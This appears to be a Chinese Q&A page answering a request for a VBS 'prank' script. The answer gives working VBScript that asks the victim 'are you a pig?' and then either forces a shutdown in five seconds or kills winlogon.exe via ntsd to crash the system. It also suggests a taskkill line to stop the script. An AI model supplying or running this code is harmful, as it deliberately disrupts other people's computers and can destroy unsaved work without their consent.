求壹種vbs整人代碼。

我的，如果妳點是豬就5秒後關機 妳可以改成0就是立刻關機！ 點不是就藍屏重啟

if MsgBox("妳是豬嗎。",vbYesNo,"豬")=vbYes then

msgbox " 豬應該重啟 ~_^",,"妳上當了！！"

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 5",,true

else

msgbox "還不承認!! 作為懲罰，藍屏壹下，妳馬上掛了#￥！@#￥%@……#……?",64,"嚴重警告!!!!!!!!!"

Set ws = CreateObject("Wscript.Shell")

wscript.sleep 1200

ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide

end if

解決辦法：

什麽都不要點建另壹個VBS然後運行 代碼如下：

Createobject("Wscript.shell").run "taskkill /f /im wscript.exe"

上一篇:海康威視人臉識別門禁初始密碼

下一篇:LEFADCD19EHP15527這個車架號有些什麽信息？求高手回答!